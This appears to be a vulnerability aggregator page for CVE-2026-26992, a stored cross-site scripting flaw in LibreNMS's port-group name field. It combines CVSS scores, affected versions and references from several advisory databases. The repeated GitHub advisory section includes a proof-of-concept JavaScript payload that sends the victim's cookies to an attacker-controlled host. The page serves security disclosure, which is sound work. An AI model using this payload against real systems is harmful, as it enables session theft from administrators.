CVE-2026-26992
LibreNMS has Stored Cross-Site Scripting via unsanitized /port-groups name
CVE-2026-26992 is a medium vulnerability (CVSS 5.1) in Librenms, published February 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.25%, the 16th percentile. Fixed in librenms/librenms 26.2.0.
LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the port group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a port group, an HTTP POST request is sent to the Request-URI "/port-groups". The name of the newly created port group is stored in the value of the name parameter. After the port group is created, the entry is displayed along with relevant buttons such as Edit and Delete. This issue has been fixed in version 26.2.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- Passive
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.1
LibreNMS has Stored Cross-Site Scripting via unsanitized /port-groups name
LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the port group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a port group, an HTTP POST request is sent to the Request-URI "/port-groups". The name of the newly created port group is stored in the value of the name parameter. After the port group is created, the entry is displayed along with relevant buttons such as Edit and Delete. This issue has been fixed in version 26.2.0.
- Record
CVE-2026-26992- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2026-8261
5.1
LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the port group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a port group, an HTTP POST request is sent to the Request-URI "/port-groups". The name of the newly created port group is stored in the value of the name parameter. After the port group is created, the entry is displayed along with relevant buttons such as Edit and Delete. This issue has been fixed in version 26.2.0.
- Record
EUVD-2026-8261- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-93fx-g747-695x
5.1
LibreNMS /port-groups name Stored Cross-Site Scripting
Summary
/port-groups name Stored Cross-Site Scripting
- HTTP POST
- Request-URI(s): "/port-groups"
- Vulnerable parameter(s): "name"
- Attacker must be authenticated with "admin" privileges.
- When a user adds a port group, an HTTP POST request is sent to the Request-URI "/port-groups". The name of the newly created port group is stored in the value of the name parameter.
- After the port group is created, the entry is displayed along with some relevant buttons like Edit and Delete.
Details
The vulnerability exists as the name of the port group is not sanitized of HTML/JavaScript-related characters or strings. When the delete button is rendered, the following template is used to render the page:
resources/views/port-group/index.blade.php:
@extends('layouts.librenmsv1')
@section('title', __('Port Groups'))
@section('content')
<div class="container-fluid">
<x-panel id="manage-port-groups-panel">
// [...Truncated...]
@foreach($port_groups as $port_group)
// [...Truncated...]
<button type="button" class="btn btn-danger btn-
sm" title="{{ __('delete Port Group') }}" aria-label="{{ __('Delete') }}"
onclick="delete_pg(this, '{{ $port_group-
>name }}', '{{ route('port-groups.destroy', $port_group->id) }}')"> // using the
port's name in the Delete button functionality without sanitizing for XSS related
characters/strings
As the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored cross-site scripting.
PoC
- Login
- Select Ports > Manage Port Groups
- Select New Port Group
- Input
12345');varpt=newImage();pt.src='http://<ATTACKER_IP>/cookiePG'.concat(document.cookie);document.body.appendChild(pt);delete_pg(this, '12345 into the "Name" input box (change <ATTACKER_IP> to be an the IP of an attacker controlled webserver) - Select Save
- Select the Delete Icon for the newly created Port Group
- Select OK
- The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled server, leaking the user's cookies.
- Record
GHSA-93fx-g747-695x- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
5.1
LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the port group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a port group, an HTTP POST request is sent to the Request-URI "/port-groups". The name of the newly created port group is stored in the value of the name parameter. After the port group is created, the entry is displayed along with relevant buttons such as Edit and Delete. This issue has been fixed in version 26.2.0.
- Record
CVE-2026-26992- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
5.1
LibreNMS has Stored Cross-Site Scripting via unsanitized /port-groups name
LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the port group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a port group, an HTTP POST request is sent to the Request-URI "/port-groups". The name of the newly created port group is stored in the value of the name parameter. After the port group is created, the entry is displayed along with relevant buttons such as Edit and Delete. This issue has been fixed in version 26.2.0.
- Record
CVE-2026-26992- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGHSA-93fx-g747-695x
5.1
LibreNMS /port-groups name Stored Cross-Site Scripting
Summary
/port-groups name Stored Cross-Site Scripting
- HTTP POST
- Request-URI(s): "/port-groups"
- Vulnerable parameter(s): "name"
- Attacker must be authenticated with "admin" privileges.
- When a user adds a port group, an HTTP POST request is sent to the Request-URI "/port-groups". The name of the newly created port group is stored in the value of the name parameter.
- After the port group is created, the entry is displayed along with some relevant buttons like Edit and Delete.
Details
The vulnerability exists as the name of the port group is not sanitized of HTML/JavaScript-related characters or strings. When the delete button is rendered, the following template is used to render the page:
resources/views/port-group/index.blade.php:
@extends('layouts.librenmsv1')
@section('title', __('Port Groups'))
@section('content')
<div class="container-fluid">
<x-panel id="manage-port-groups-panel">
// [...Truncated...]
@foreach($port_groups as $port_group)
// [...Truncated...]
<button type="button" class="btn btn-danger btn-
sm" title="{{ __('delete Port Group') }}" aria-label="{{ __('Delete') }}"
onclick="delete_pg(this, '{{ $port_group-
>name }}', '{{ route('port-groups.destroy', $port_group->id) }}')"> // using the
port's name in the Delete button functionality without sanitizing for XSS related
characters/strings
As the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored cross-site scripting.
PoC
- Login
- Select Ports > Manage Port Groups
- Select New Port Group
- Input
12345');varpt=newImage();pt.src='http://<ATTACKER_IP>/cookiePG'.concat(document.cookie);document.body.appendChild(pt);delete_pg(this, '12345 into the "Name" input box (change <ATTACKER_IP> to be an the IP of an attacker controlled webserver) - Select Save
- Select the Delete Icon for the newly created Port Group
- Select OK
- The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled server, leaking the user's cookies.
- Record
GHSA-93fx-g747-695x- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N - Weakness
- CWE-79
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
librenms/librenmsPackagist |
before 26.2.0 | 26.2.0 |
librenms/librenmsPackagist |
before 26.2.0, plus listed versions 1.191.201.20.11.211.22 Show 45 moreShow less1.22.011.231.241.251.261.271.281.291.301.30.011.311.31.011.31.021.31.031.321.32.011.331.33.011.341.351.361.36.011.371.381.391.401.411.421.42.011.431.441.451.461.471.481.48.11.491.501.50.11.511.521.531.53.11.541.55 |
26.2.0 |
History
| When | Changed | Sources |
|---|---|---|
| 2026-11-02 | created | CVE List, EUVD, GitHub Advisories, NVD, OSV |
References
github.com/librenms/librenms/security/advisories/GHSA-93fx-g747-695x
github.com/librenms/librenms/pull/19042
github.com/librenms/librenms/commit/882fe6f90ea504a3732f83caf89bba7850a5699f
github.com/librenms/librenms/releases/tag/26.2.0
nvd.nist.gov/vuln/detail/CVE-2026-26992
github.com/advisories/GHSA-93fx-g747-695x
github.com/CVEProject/cvelistV5/tree/main/cves/2026/26xxx/CVE-2026-26992.json
github.com/librenms/librenms
Left out here: 99 versions. The JSON record has them.